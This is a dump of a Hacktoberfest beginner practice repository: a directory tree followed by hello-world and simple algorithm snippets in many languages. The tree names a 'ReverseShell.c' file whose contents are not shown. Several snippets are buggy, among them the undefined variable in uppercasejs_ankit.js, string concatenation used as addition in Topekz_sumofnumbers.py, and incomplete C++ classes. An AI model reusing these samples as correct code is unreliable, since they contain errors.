├── JAVA ├── Hello.java ├── Lihamfx.class ├── fida501_inheritance.class ├── Deepak_helloworld.java ├── HelloProgrammers.java ├── sorting-programs │ ├── readme.md │ ├── InsertionSort.java │ └── SelectionSort.java ├── addtwonum.java ├── lihamfx_HelloWorld.java ├── Bibek_Uppercase.java ├── Deepak_square.java ├── sum_of_n_natural_number.java ├── square-two-nos-sachin.java ├── Bikram_helloworld.java ├── Deepak_odd_even.java ├── Hacktoberfest-Simple-Practice-Programmes.iml ├── fida501_inheritance.java ├── BinaryToDecimal.java ├── Factorial.java ├── Xhiel23_CatalanNumbers.java ├── nirudi_ForLoop.java ├── Deepak_StringPalindrome.java ├── Insert_Element_Array_Rabina.Java ├── SquareRoot.java ├── ValidateEvenOdd.java ├── Xhiel23_PrimeNumbers.java ├── swap.java ├── Uwanthi_SimpleCalculator.java ├── Anagrams.java ├── Even_Odd.java ├── inheritence.java ├── karprekar.java ├── thisarathushan1_bubblesort.java ├── RecursiveMultiply.java ├── Gajendra_CustomStackImplementation.java ├── Deepak_CalculatorFourBasicOperation.java └── KMP.java ├── C++ ├── CountingSort │ ├── countingSort.cpp │ ├── main.cpp │ └── countingSort.h ├── hello.cpp ├── helloworld.cpp ├── peak_find │ ├── PEAK FINDING.pdf │ ├── peak_1d.cpp │ └── peak_2d.cpp ├── sol_helloworld.cpp ├── sol_number_is_odd_even.cpp ├── sum.cpp ├── arjitarora26_sumofnumbers.cpp ├── oddEven.cpp ├── niharika_square.CPP ├── BisectionMethod │ ├── main.cpp │ ├── bisectionMethod.h │ └── bisectionMethod.cpp ├── add-two-number-sachin.cpp ├── DIVISIBLE2.CPP ├── CopyString.cpp ├── EulerMethod │ ├── eulerMethod.h │ ├── main.cpp │ └── eulerMethod.cpp ├── Odd_Even ├── CombSort │ ├── main.cpp │ └── combSort.h ├── numbers backwards.cpp ├── GCD.cpp ├── Xhiel23_FibonacciNumbers.cpp ├── bubbleSort.cpp ├── Raising Bacteria.cpp ├── YasasviPeruvemba_binarytodecimal.cpp ├── palindrome.cpp ├── OverloadingComma.cpp ├── imakshat47_vectorSort.cpp ├── codeforces(Tavas and SaDDas).cpp ├── sujanp100_bubblesort.cpp ├── luhn's_algorithm.cpp ├── string_palindrome.cpp ├── Dimas-Saputra-Me_CheckPalindromeInteger.cpp ├── simonlariz_DecimalToBinary.cpp ├── insertionsort.cpp ├── overloadingNewDelete.cpp ├── selectionsort.cpp ├── Rabin-Karpsearch.cpp ├── CF816 B.cpp ├── graph.cpp ├── ChooX3_BubbleSort.cpp ├── bucketSort.cpp ├── husinassegaff_HowManyIslands.cpp ├── HeapSort.cpp ├── Xhiel23_Calculator.cpp ├── K-sort.cpp ├── Queue.cpp └── ChooX3_MergeSort.cpp ├── Python ├── bahun1666.py ├── Ram_helloworld.py ├── name_helloworld.py ├── nischal_helloworld.py ├── prabidhi_helloworld.py ├── hello-world.py ├── uppercase.py ├── Vaibhav_helloWorld.py ├── HelloProgrammers.py ├── square-num.py ├── sujanp100_helloworld.py ├── sum-two-numbers.py ├── for-loop.py ├── add_numbers.py ├── hello.py ├── the-nathan-smith_decimal-to-binary.py ├── ASCII.py ├── Topekz_sumofnumbers.py ├── sum-of-digits-number.py ├── insert-to-array.py ├── palindrome.py ├── rojen11_palindromeTest.py ├── palindrome-detector.py ├── if-else.py ├── Decimal-to-Binary(octal-Hex)-sachin.py ├── Duplicate Finder.py ├── DhurbaBaral_sumoftwonumbers ├── multiplication_table.py ├── odd-even.py ├── magicaljellybeans_insertionsort.py ├── binary_search.py ├── Chacha!!OChacha.py ├── bubble_sort.py ├── find_factorial.py ├── JadooHatesNumbers.py ├── ZahraShahid_InsertionSort.py ├── randika97_BubbleSort.py ├── JadooVsKoba.py ├── scatterplot ├── Leapyear.py ├── AayushKumar_binarySearch .py ├── primeNumber_checker.py ├── decimal_to_binary.py ├── pandas ├── BubbleSort.py ├── send_email.py ├── jump_search.py ├── ZahraShahid_CountingSort.py ├── ReasonsWhy.py ├── calculator.py ├── python calculator ├── random_number_gen.py ├── basic-calculator-nishant.py ├── telegrambot.py ├── MergeSort.py ├── FibonacciNumber.py ├── Simple calculator in python ├── quick_sort.py └── torrent_link_finder.py ├── PHP ├── Bikram_helloworld.php ├── HelloProgrammers.php ├── Subashhelloworld.php ├── hello world.php ├── another_hello_world.php └── helloworld.php_Ankit.php ├── Javascript ├── Prakash_helloworld.js ├── js-helloworld-nabin.js ├── Bikram_helloworld.js ├── SauravSunar_hello_world.js ├── heyworld_Ankit.js ├── YasminBraga_helloworld.js ├── olga_binary_to_decimal.js ├── HelloProgrammers.js ├── prabidhi_helloworld.js ├── SauravSunar_sum_of_2number.js ├── YasminBraga_SumOfTwoNum.js ├── wave-effect │ └── wave.png ├── YasminBraga_IfElse.js ├── ankit_squarenumber.js ├── pascal_trianglepattern.js ├── wahidari_find_square_of_number.js ├── Bibekdhkl-Helloworld.js ├── print_sum.js ├── ankit_cube.js ├── shades-7_sum_of_two_numbers.js ├── mitpancholi_octal_to_binary.js ├── wahidari_change_letter_to_uppercase.js ├── uppercasejs_ankit.js ├── reversing_name.js ├── binary-to-decimal.js ├── wahidari_check_number_is_odd_or_even.js ├── time.js ├── Twopill_insert_element_to_array.js ├── server.js ├── wahidari_check_palindrome.js ├── remove_duplicates.js ├── bubble-sort.js ├── caeser_cipher.js ├── siddharth_insertion_sort.js ├── rahuldahal_bubbleSort.js ├── hrishikesh_javascript_quicksort.js ├── pascal_guessing_game.js ├── selection_sort.js ├── Calculator └── eddges_quick_sort.js ├── Rust └── helo_world.rs ├── Dart ├── Bikram_helloworld.dart ├── HelloProgrammers.dart ├── print-list-of-items.dart ├── randomNumber.dart └── m-hamzashakeel.dart ├── C ├── hello.c ├── nabin.helloworld.c ├── HelloProgrammers.c ├── Asmit Dhakal_helloworld.c ├── hello_wrld_in_C ├── Bigyan_helloworld.c ├── hello world in C ├── Sandip Sapkota ├── Anoop_Sorting_in_c │ ├── Bubble_Sort.exe │ ├── Merge_Sort.exe │ ├── Quick_Sort.exe │ ├── Insertion_Sort.exe │ ├── Selection_Sort.exe │ └── ReadMe.txt ├── Aryal-rajiv-PickUpLine.c ├── ADD ├── UnitGCD.c ├── C add the number_Ankit Adhikari.C ├── HalfPyramid.c ├── NullPointer.c ├── Naseeb_OddEven.c ├── TharushaGunasekara_sum2num.c ├── Reverse.c ├── Bibekdhkl-Hello-Program.c ├── addingtwonumbers ├── Pointer_Arithmetic_Sum.c ├── swapString.c ├── hillary_ConvertStringInUppercase.c ├── Pyramid.c ├── arr3d.c ├── DipakGautam_PallindromeOrNot.c ├── KN_BubbleSort.c ├── Fileinput.c ├── sum of array.c ├── summation.c ├── Leapyear.c ├── simple-calculator-sachin.c ├── binarysearch_iterative.c ├── binary2DecimalBasic.c ├── octal2binary.c ├── decimal2binaryUsingBitwise.c ├── decimal2binaryBasicVoid.c ├── bucket_sort.c ├── select_sorting_in_c.c ├── Calculator.c ├── InsertionSort.c ├── quicksort_static.c ├── decimal2OctalFormula.c ├── shravaniparaswar_mergesort.C ├── heapsort.c ├── decimal2OctalBasic.c └── BubbleSort.c ├── Perl ├── briyoman_helloworld.pl └── pascal_square.pl ├── Go ├── Bikram_helloworld.go ├── Helloworld.go ├── hello_world.go ├── HelloProgrammers.go ├── SumTwoNumbers.go ├── OddEven.go ├── IfElse.go ├── go-decimal-to-binary ├── SumOfDigitsNumber.go ├── HttpRequest.go ├── Palindrome Tester ├── briyoman_insertionsort.go ├── briyoman_selectionsort.go ├── bubble sort ├── SqRoot.go ├── CheckString.go └── briyoman_quicksort.go ├── Cpp ├── BibekBhusal_HelloWorld.cpp ├── Bikram_helloworld.cpp ├── HelloProgrammers.cpp ├── Bibekdhkl-Helloworld.cpp ├── Longest_Sum_Contiguous_Subarray.cpp ├── ritikasarkar18_replaceChars-recursion.cpp ├── String_Reverse_by_StringStream.cpp ├── Tasfik_decimalToBinary.cpp ├── Tasfik_isPalindrome.cpp ├── devinda_Largest Number of an Array.cpp ├── imakshat47_vectorSort.cpp ├── vectorSort_imakshat47.cpp ├── Callbyref.cpp ├── removeSort.cpp ├── xorArray.cpp ├── Imakshat47_binary2DecimalUsingInBuildFun.cpp ├── binary_to_octal.cpp ├── Tasfik_pointOnLeftOfLine.cpp ├── JollyJumper.cpp ├── Imakshat47_binary2DecimalBasic.cpp ├── Imakshat47_octal2binary.cpp ├── Imakshat47_binary2DecimalUsingString.cpp ├── Imakshat47_decimal2binaryUsingBitwise.cpp ├── Imakshat47_decimal2binaryBasicVoid.cpp ├── findMinDiff.cpp ├── Imakshat47_decimal2binaryBasicArray.cpp ├── Imakshat47_decimal2OctalFormula.cpp ├── Imakshat47_decimal2OctalBasic.cpp └── Imakshat47_binary2Octal.cpp ├── Brainfuck ├── Bikram_helloworld.bf └── helloworld_sl.bf ├── Data_Structures ├── detectLoopLL.exe ├── TreeArray.cpp ├── BinaryTree_LevelOrderTraversal.cpp ├── Stack.cpp ├── detectLoopLL.cpp ├── binary_tree_using_array.java ├── linked_lists.cpp ├── doublyLinkedList.java ├── XORlinkedList.cpp ├── stackWithLL.cpp └── queueWithLL.cpp ├── .idea ├── vcs.xml ├── misc.xml ├── .gitignore └── modules.xml ├── ASCII.cpp ├── Others └── Quadratic Equation ├── Ruby ├── bubble_sort.rb ├── insertion_sort.rb └── bucket_sort.rb ├── ReverseShell.c ├── insertionsort.cpp ├── Terraform └── terraform-hello-world.tf └── MergeSort.cpp /JAVA/Hello.java: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /C++/CountingSort/countingSort.cpp: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Python/bahun1666.py: -------------------------------------------------------------------------------- 1 | print("hello world") 2 | -------------------------------------------------------------------------------- /Python/Ram_helloworld.py: -------------------------------------------------------------------------------- 1 | print("Hello World") 2 | -------------------------------------------------------------------------------- /Python/name_helloworld.py: -------------------------------------------------------------------------------- 1 | print("helloworld") 2 | -------------------------------------------------------------------------------- /Python/nischal_helloworld.py: -------------------------------------------------------------------------------- 1 | print("Hello World") 2 | -------------------------------------------------------------------------------- /Python/prabidhi_helloworld.py: -------------------------------------------------------------------------------- 1 | print('helloworld') 2 | -------------------------------------------------------------------------------- /PHP/Bikram_helloworld.php: -------------------------------------------------------------------------------- 1 | 5 | -------------------------------------------------------------------------------- /Dart/Bikram_helloworld.dart: -------------------------------------------------------------------------------- 1 | void main() { 2 | print('Hello, World!'); 3 | } 4 | -------------------------------------------------------------------------------- /Python/hello-world.py: -------------------------------------------------------------------------------- 1 | if __name__=="__main__": 2 | print("Hello World") 3 | -------------------------------------------------------------------------------- /C/hello.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main() 3 | { 4 | printf("Hello World\n"); 5 | } -------------------------------------------------------------------------------- /Dart/HelloProgrammers.dart: -------------------------------------------------------------------------------- 1 | void main() { 2 | print('Hello, Programmers!'); 3 | } 4 | -------------------------------------------------------------------------------- /C/nabin.helloworld.c: -------------------------------------------------------------------------------- 1 | #include 2 | void main(){ 3 | printf("Hello World!"); 4 | } 5 | -------------------------------------------------------------------------------- /Javascript/Bikram_helloworld.js: -------------------------------------------------------------------------------- 1 | alert("Hello, world!"); 2 | console.log("Hello world"); 3 | -------------------------------------------------------------------------------- /Javascript/SauravSunar_hello_world.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Javascript/heyworld_Ankit.js: -------------------------------------------------------------------------------- 1 | 2 | alert("Hey, world!"); 3 | console.log("Hey world"); 4 | -------------------------------------------------------------------------------- /Python/uppercase.py: -------------------------------------------------------------------------------- 1 | if __name__=="__main__": 2 | x = input() 3 | print(x.upper()) 4 | -------------------------------------------------------------------------------- /Javascript/YasminBraga_helloworld.js: -------------------------------------------------------------------------------- 1 | console.log('Hello, world!') 2 | alert('Hello, world!') 3 | -------------------------------------------------------------------------------- /Javascript/olga_binary_to_decimal.js: -------------------------------------------------------------------------------- 1 | var binary = "1101000"; 2 | alert(parseInt(binary, 2)); 3 | -------------------------------------------------------------------------------- /C/HelloProgrammers.c: -------------------------------------------------------------------------------- 1 | #include 2 | void main(){ 3 | printf("Hello Programmers!"); 4 | } 5 | -------------------------------------------------------------------------------- /Javascript/HelloProgrammers.js: -------------------------------------------------------------------------------- 1 | alert("Hello, Programmers!"); 2 | console.log("Hello Programmers"); 3 | -------------------------------------------------------------------------------- /Perl/briyoman_helloworld.pl: -------------------------------------------------------------------------------- 1 | https://github.com/briyoman/Hacktoberfest-Simple-Practice-Programmes 2 | -------------------------------------------------------------------------------- /C/Asmit Dhakal_helloworld.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main () 3 | { 4 | printf("Hello World"); 5 | } 6 | -------------------------------------------------------------------------------- /Javascript/prabidhi_helloworld.js: -------------------------------------------------------------------------------- 1 | console.log('hello world') 2 | console.log(' lets code the future ') 3 | -------------------------------------------------------------------------------- /Python/Vaibhav_helloWorld.py: -------------------------------------------------------------------------------- 1 | #Creator: Vaibhav Bansal 2 | #Program: Hello World 3 | 4 | print('Hello World') -------------------------------------------------------------------------------- /Go/Bikram_helloworld.go: -------------------------------------------------------------------------------- 1 | package main 2 | import "fmt" 3 | func main() { 4 | fmt.Println("hello world") 5 | } -------------------------------------------------------------------------------- /Go/Helloworld.go: -------------------------------------------------------------------------------- 1 | package main 2 | import "fmt" 3 | func main() { 4 | fmt.Println("hello world") 5 | } 6 | -------------------------------------------------------------------------------- /Go/hello_world.go: -------------------------------------------------------------------------------- 1 | package main 2 | import "fmt" 3 | func main() { 4 | fmt.Println("hello world") 5 | } 6 | -------------------------------------------------------------------------------- /C/hello_wrld_in_C: -------------------------------------------------------------------------------- 1 | #include 2 | int main() { 3 | 4 | printf("Hello World"); 5 | return 0; 6 | } 7 | -------------------------------------------------------------------------------- /C/Bigyan_helloworld.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main() { 3 | 4 | printf("Hello World"); 5 | return 0; 6 | } 7 | -------------------------------------------------------------------------------- /C/hello world in C: -------------------------------------------------------------------------------- 1 | #include 2 | int main() { 3 | 4 | printf("Hello World"); 5 | return 0; 6 | } 7 | -------------------------------------------------------------------------------- /Go/HelloProgrammers.go: -------------------------------------------------------------------------------- 1 | package main 2 | import "fmt" 3 | func main() { 4 | fmt.Println("Hello Programmers!") 5 | } 6 | -------------------------------------------------------------------------------- /JAVA/Lihamfx.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigyanic/Hacktoberfest-Simple-Practice-Programmes/HEAD/JAVA/Lihamfx.class -------------------------------------------------------------------------------- /Python/HelloProgrammers.py: -------------------------------------------------------------------------------- 1 | print("HelloProgrammers!") 2 | 3 | 4 | print("Hello Aemon here,Accept my pull request") 5 | -------------------------------------------------------------------------------- /Python/square-num.py: -------------------------------------------------------------------------------- 1 | if __name__=="__main__": 2 | x = int(input("Enter num: ")) 3 | print("Square is: "+str(x**2)) 4 | -------------------------------------------------------------------------------- /Cpp/BibekBhusal_HelloWorld.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | main(){ 6 | cout<<"Hello World!"; 7 | } 8 | -------------------------------------------------------------------------------- /Cpp/Bikram_helloworld.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | std::cout << "Hello World!"; 6 | return 0; 7 | } -------------------------------------------------------------------------------- /Python/sujanp100_helloworld.py: -------------------------------------------------------------------------------- 1 | print("please accept my pull request 🙂") 2 | # thank you! 3 | # this is my first hactoberfest 4 | -------------------------------------------------------------------------------- /Brainfuck/Bikram_helloworld.bf: -------------------------------------------------------------------------------- 1 | ++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+.>++. -------------------------------------------------------------------------------- /Python/sum-two-numbers.py: -------------------------------------------------------------------------------- 1 | if __name__ == "__main__": 2 | x = int(input()) 3 | y = int(input()) 4 | print("Sum: "+str(x+y)) 5 | -------------------------------------------------------------------------------- /C++/hello.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | int main() 4 | { 5 | cout<<"Hello world"< 2 | using namespace std; 3 | int main (){ 4 | cout <<"Hello World!"< 2 | 3 | int main() 4 | { 5 | std::cout << "Hello Programmers!"; 6 | return 0; 7 | } 8 | -------------------------------------------------------------------------------- /Javascript/SauravSunar_sum_of_2number.js: -------------------------------------------------------------------------------- 1 | let num1 = 5; 2 | let num2 = 3; 3 | 4 | 5 | let sum = num1 + num2; 6 | 7 | console.log(sum); 8 | -------------------------------------------------------------------------------- /C++/peak_find/PEAK FINDING.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigyanic/Hacktoberfest-Simple-Practice-Programmes/HEAD/C++/peak_find/PEAK FINDING.pdf -------------------------------------------------------------------------------- /C++/sol_helloworld.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | int main (){ 4 | cout <<"Hello World!"< 2 | #include 3 | 4 | int main() 5 | { 6 | printf("Hello world!\n"); 7 | return 0; 8 | } 9 | -------------------------------------------------------------------------------- /JAVA/fida501_inheritance.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigyanic/Hacktoberfest-Simple-Practice-Programmes/HEAD/JAVA/fida501_inheritance.class -------------------------------------------------------------------------------- /Javascript/YasminBraga_SumOfTwoNum.js: -------------------------------------------------------------------------------- 1 | let num1 = 4 2 | let num2 = 6 3 | 4 | let sum = num1 + num2 5 | 6 | console.log(`${num1} + ${num2} = ${sum}`) -------------------------------------------------------------------------------- /Javascript/wave-effect/wave.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigyanic/Hacktoberfest-Simple-Practice-Programmes/HEAD/Javascript/wave-effect/wave.png -------------------------------------------------------------------------------- /Data_Structures/detectLoopLL.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigyanic/Hacktoberfest-Simple-Practice-Programmes/HEAD/Data_Structures/detectLoopLL.exe -------------------------------------------------------------------------------- /C++/sol_number_is_odd_even.cpp: -------------------------------------------------------------------------------- 1 | // return 1 if the num is odd , return 0 if the num is even 2 | int IsOdd_Even(int num){ 3 | return num & 1; 4 | } 5 | 6 | -------------------------------------------------------------------------------- /C/Anoop_Sorting_in_c/Bubble_Sort.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigyanic/Hacktoberfest-Simple-Practice-Programmes/HEAD/C/Anoop_Sorting_in_c/Bubble_Sort.exe -------------------------------------------------------------------------------- /C/Anoop_Sorting_in_c/Merge_Sort.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigyanic/Hacktoberfest-Simple-Practice-Programmes/HEAD/C/Anoop_Sorting_in_c/Merge_Sort.exe -------------------------------------------------------------------------------- /C/Anoop_Sorting_in_c/Quick_Sort.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigyanic/Hacktoberfest-Simple-Practice-Programmes/HEAD/C/Anoop_Sorting_in_c/Quick_Sort.exe -------------------------------------------------------------------------------- /JAVA/Deepak_helloworld.java: -------------------------------------------------------------------------------- 1 | 2 | public class Hello{ 3 | public static void main(String[] args){ 4 | 5 | System.out.println("Hello World"); 6 | 7 | } 8 | } -------------------------------------------------------------------------------- /Javascript/YasminBraga_IfElse.js: -------------------------------------------------------------------------------- 1 | const word = "code" 2 | 3 | if(word == "code") 4 | console.log("Code is fun!") 5 | else 6 | console.log("Lets Code!") -------------------------------------------------------------------------------- /C/Anoop_Sorting_in_c/Insertion_Sort.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigyanic/Hacktoberfest-Simple-Practice-Programmes/HEAD/C/Anoop_Sorting_in_c/Insertion_Sort.exe -------------------------------------------------------------------------------- /C/Anoop_Sorting_in_c/Selection_Sort.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigyanic/Hacktoberfest-Simple-Practice-Programmes/HEAD/C/Anoop_Sorting_in_c/Selection_Sort.exe -------------------------------------------------------------------------------- /Data_Structures/TreeArray.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | class Tree{ 4 | public 5 | } 6 | 7 | int main(){ 8 | 9 | } 10 | -------------------------------------------------------------------------------- /Python/for-loop.py: -------------------------------------------------------------------------------- 1 | if __name__=="__main__": 2 | for i in range(1,10): 3 | for j in range(i): 4 | print("#",end="") 5 | print() 6 | -------------------------------------------------------------------------------- /Python/add_numbers.py: -------------------------------------------------------------------------------- 1 | number_1 = int(input("Enter 1st number: ")) 2 | number_2 = int(input("Enter 2nd number: ")) 3 | 4 | sum = number_1 + number_2 5 | 6 | print(sum) -------------------------------------------------------------------------------- /Python/hello.py: -------------------------------------------------------------------------------- 1 | print("hello") 2 | def greeting(): 3 | name = input('enter your name : ') 4 | greet = "welcome " + name 5 | return greet 6 | print(greeting()) 7 | -------------------------------------------------------------------------------- /Python/the-nathan-smith_decimal-to-binary.py: -------------------------------------------------------------------------------- 1 | def decimalToBinary(decimal): 2 | return bin(decimal) 3 | 4 | if __name__=="__main__": 5 | decimalToBinary(10) 6 | -------------------------------------------------------------------------------- /C/Aryal-rajiv-PickUpLine.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(){ 4 | printf("Hello, My name is Microsoft, Can i crash into your house tonight?"); 5 | return 0; 6 | } 7 | -------------------------------------------------------------------------------- /JAVA/HelloProgrammers.java: -------------------------------------------------------------------------------- 1 | class HelloProgrammers { 2 | public static void main(String[] args) { 3 | System.out.println("Hello, Programmers!"); 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /Python/ASCII.py: -------------------------------------------------------------------------------- 1 | # Python program to print ascii value of input characters 2 | 3 | c = str(input("Enter the character: ")) 4 | print("The ASCII value of '" + c + "' is", ord(c)) -------------------------------------------------------------------------------- /C++/sum.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | int main (){ 4 | int a, b; 5 | cin>>a>>b; 6 | cout<<"The sum of the two number is "< 2 | 3 | 4 | 5 |

Hello World

6 | 7 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /C/Anoop_Sorting_in_c/ReadMe.txt: -------------------------------------------------------------------------------- 1 | Some Sorting Algorithm in C 2 | With examples and Programming Like:- 3 | 4 | *Bubble Sort 5 | *Insertion Sort 6 | *Selection Sort 7 | *Merge Sort 8 | *QuickSort 9 | -------------------------------------------------------------------------------- /Javascript/ankit_squarenumber.js: -------------------------------------------------------------------------------- 1 | 2 | let number = 100 3 | square(number) 4 | function square(number) { 5 | let result = number * number 6 | console.log("Square of number is " + result) 7 | } 8 | -------------------------------------------------------------------------------- /PHP/another_hello_world.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |

Hello World

6 | 7 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Python/Topekz_sumofnumbers.py: -------------------------------------------------------------------------------- 1 | print('Sum of two numbers'); 2 | 3 | n1 = input('Enter a number: '); 4 | n2 = input('Enter another number: '); 5 | 6 | sum = n1 + n2; 7 | print('Sum:'); 8 | print(sum); -------------------------------------------------------------------------------- /C++/arjitarora26_sumofnumbers.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int main(){ 6 | 7 | int a,b; 8 | cin>>a>>b; 9 | cout<<"Sum is:"< 2 | using namespace std; 3 | int main (){ 4 | int n ; 5 | cin>>n; 6 | if(n%2)cout<<"Number is odd"; 7 | else cout<<"Number is even"; 8 | return 0; 9 | } 10 | -------------------------------------------------------------------------------- /Javascript/Bibekdhkl-Helloworld.js: -------------------------------------------------------------------------------- 1 | console.log("Hello World")//This command prints any kinds of text inside the quotation in the console 2 | alert("Hello World")//It pops out alert box and displays the text 3 | -------------------------------------------------------------------------------- /Python/insert-to-array.py: -------------------------------------------------------------------------------- 1 | if __name__=="__main__": 2 | n = int(input("Number of elements: ")) 3 | x = [] 4 | for _ in range(n): 5 | i = input() 6 | x.append(i) 7 | print(x) 8 | 9 | -------------------------------------------------------------------------------- /C++/niharika_square.CPP: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | void main() 4 | { 5 | int a; 6 | cout<<" ENTER A NO "; 7 | cin>>a; 8 | cout<<"SQUARE OF NO IS "< laptops = ['Dell g3', 'Acer nitro 5', 'Acer aspire e5', 'Lenovo legion y540', 'Asus TUF fx']; 3 | 4 | laptops.forEach((laptop) => print(laptop)); 5 | } 6 | -------------------------------------------------------------------------------- /PHP/helloworld.php_Ankit.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |

beginner

7 | 8 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /Python/palindrome.py: -------------------------------------------------------------------------------- 1 | if __name__=="__main__": 2 | x = int(input()) 3 | sx = str(x) 4 | sxx = sx[::-1] 5 | if sx==sxx: 6 | print("Palindrome") 7 | else: 8 | print("Not palindrome") 9 | -------------------------------------------------------------------------------- /C++/BisectionMethod/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "bisectionMethod.h" 4 | 5 | int main() 6 | { 7 | std::cout << bisection(1, 2, func3, 0.001) << '\n'; 8 | 9 | return 0; 10 | } -------------------------------------------------------------------------------- /Javascript/ankit_cube.js: -------------------------------------------------------------------------------- 1 | 2 | let num = parseInt(prompt("Please enter a number", "6")); 3 | cube(num) 4 | function cube(num) { 5 | let result = num * num * num 6 | console.log("cube of number is " + result) 7 | } 8 | -------------------------------------------------------------------------------- /Javascript/shades-7_sum_of_two_numbers.js: -------------------------------------------------------------------------------- 1 | let num1 = 7; 2 | let num2 = 9; 3 | 4 | // add two numbers 5 | let sum = num1 + num2; 6 | 7 | // display the sum 8 | console.log('The sum of ' + num1 + ' and ' + num2 + ' is: ' + sum); -------------------------------------------------------------------------------- /Python/rojen11_palindromeTest.py: -------------------------------------------------------------------------------- 1 | # check for palindrome 2 | 3 | val = input("Enter a string: ") 4 | 5 | if val.lower() == val[::-1].lower(): 6 | print("It is palindrome.") 7 | else: 8 | print("It is not palindrome.") 9 | -------------------------------------------------------------------------------- /ASCII.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | int main() 5 | { 6 | char c; 7 | cout << "Enter a character: "; 8 | cin >> c; 9 | cout << "ASCII Value of " << c << " is " << int(c); 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /Python/palindrome-detector.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | def isPalindrome(s): 4 | return s == s[::-1] 5 | 6 | 7 | 8 | s = "malayalam" 9 | ans = isPalindrome(s) 10 | 11 | if ans: 12 | print("Yes") 13 | else: 14 | print("No") 15 | -------------------------------------------------------------------------------- /Javascript/mitpancholi_octal_to_binary.js: -------------------------------------------------------------------------------- 1 | const octal = 054; 2 | if (octal.toString().match(/^[0-8]*$/)) { 3 | console.log("Decimal : " + octal + "\nBinary : " + octal.toString(2)); 4 | } else { 5 | console.log("Number is not Octal"); 6 | } 7 | -------------------------------------------------------------------------------- /Javascript/wahidari_change_letter_to_uppercase.js: -------------------------------------------------------------------------------- 1 | let word = "this is lowercase string" 2 | toUpperCase(word) 3 | 4 | function toUpperCase(word) { 5 | let result = word.toUpperCase() 6 | console.log("Uppercase string is " + result) 7 | } -------------------------------------------------------------------------------- /Python/if-else.py: -------------------------------------------------------------------------------- 1 | if __name__=="__main__": 2 | x = int(input("Enter age: ")) 3 | if x < 18: 4 | print("Lesser than 18") 5 | elif x < 60: 6 | print("Lesser than 60") 7 | else: 8 | print("More than 60") 9 | -------------------------------------------------------------------------------- /Go/SumTwoNumbers.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "strconv" 5 | "fmt" 6 | ) 7 | 8 | 9 | func main() { 10 | var n1 int 11 | var n2 int 12 | fmt.Scanf("%d\n%d", &n1, &n2) 13 | fmt.Print("Sum = " + strconv.Itoa(n1 + n2)) 14 | } -------------------------------------------------------------------------------- /Javascript/uppercasejs_ankit.js: -------------------------------------------------------------------------------- 1 | 2 | let word = "this is lowekey string which will be uppercase" 3 | toUpperCase(w) 4 | 5 | function toUpperCase(w) { 6 | let result = w.toUpperCase() 7 | console.log("Uppercase string is " + result) 8 | } 9 | -------------------------------------------------------------------------------- /C++/add-two-number-sachin.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | int main() 4 | { 5 | int a,b,c; 6 | cout<<"Enter Two number"<>a>>b; 8 | c=a+b; 9 | cout<<"The sum of Two number is: "<++++++++[<+++++++++>-]<. 2 | >++++[<+++++++>-]<+. 3 | +++++++.. 4 | +++. 5 | >>++++++[<+++++++>-]<++. 6 | ------------. 7 | >++++++[<+++++++++>-]<+. 8 | <. 9 | +++. 10 | ------. 11 | --------. 12 | >>>++++[<++++++++>-]<+. 13 | -------------------------------------------------------------------------------- /C++/DIVISIBLE2.CPP: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | void main() 4 | { 5 | int a ; 6 | cout<<" enter a no "; 7 | cin>>a; 8 | if(a%2==0) 9 | cout<<"its divisible by 2" ; 10 | else 11 | cout<<"not divisible by 2 "; 12 | getch(); 13 | } 14 | -------------------------------------------------------------------------------- /C/ADD: -------------------------------------------------------------------------------- 1 | #include 2 | int main() 3 | { 4 | int x, y, z; 5 | 6 | printf("Enter two numbers to add\n"); 7 | scanf("%d%d", &x, &y); 8 | 9 | z = x + y; 10 | 11 | printf("Sum of the numbers = %d\n", z); 12 | 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /Go/OddEven.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import 